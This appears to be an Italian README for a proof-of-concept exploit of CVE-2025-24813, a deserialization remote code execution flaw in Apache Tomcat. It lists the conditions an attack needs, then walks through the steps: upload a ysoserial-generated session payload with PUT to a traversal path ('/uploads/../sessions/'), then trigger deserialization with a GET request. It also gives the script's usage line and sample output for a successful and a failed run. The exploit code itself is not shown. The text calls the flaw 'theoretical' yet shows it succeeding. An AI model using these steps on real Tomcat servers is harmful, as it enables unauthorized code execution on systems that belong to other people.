CVE-2025-24813 Apache Tomcat RCE PoC

Proof of Concept (PoC) che sfrutta CVE-2025-24813, una vulnerabilità di Esecuzione di Codice Remoto (RCE) in Apache Tomcat. La vulnerabilità consente a un attaccante di caricare un payload serializzato malevolo sul server, portando all'esecuzione arbitraria di codice tramite deserializzazione quando vengono soddisfatte condizioni specifiche.

Descrizione

CVE-2025-24813 è una vulnerabilità RCE teorica in Apache Tomcat che sfrutta la gestione impropria dei file di sessione caricati e dei meccanismi di deserializzazione. Caricando un payload appositamente creato in una directory scrivibile (es. /uploads/../sessions/), un attaccante può attivare la deserializzazione, con conseguente esecuzione di comandi arbitrari sul server target.

Prerequisiti per uno Sfruttamento Riuscito

Affinché questo PoC possa sfruttare con successo la vulnerabilità, devono essere soddisfatte le seguenti condizioni:

1. Versione di Apache Tomcat: Il target deve eseguire una versione vulnerabile di Apache Tomcat.
2. Directory Scrivibile: Il server deve consentire richieste PUT
3. Attivazione della Deserializzazione: Il server deve elaborare il file di sessione caricato (es. tramite una richiesta GET a /index.jsp) e attivare la deserializzazione del payload.
4. Ambiente Java: La macchina dell'attaccante deve avere Java installato per generare payload utilizzando ysoserial o compilare payload basati su Java.
5. ysoserial (Opzionale): Se si utilizza il tipo di payload ysoserial, il file ysoserial.jar deve essere disponibile localmente.

python CVE-2025-24813.py <target_url> [options]

Output

• Exploit Riuscito:

[+] Server is writable via PUT: http://localhost:8081/check.txt
[*] Session ID: absholi7ly
[+] Payload generated successfully: payload.ser
[+] Payload uploaded with status 409 (Conflict): http://localhost:8081/uploads/../sessions/absholi7ly.session
[+] Exploit succeeded! Server returned 500 after deserialization.
[+] Target http://localhost:8081 is vulnerable to CVE-2025-24813!
[+] Temporary file removed: payload.ser

• Exploit Fallito:

[+] Server is writable via PUT: http://localhost:8081/check.txt
[*] Session ID: absholi7ly
[+] Payload generated successfully: payload.ser
[-] Payload upload failed: http://localhost:8081/uploads/../sessions/absholi7ly.session (HTTP 403)
[-] Target http://localhost:8081 does not appear vulnerable or exploit failed.
[+] Temporary file removed: payload.ser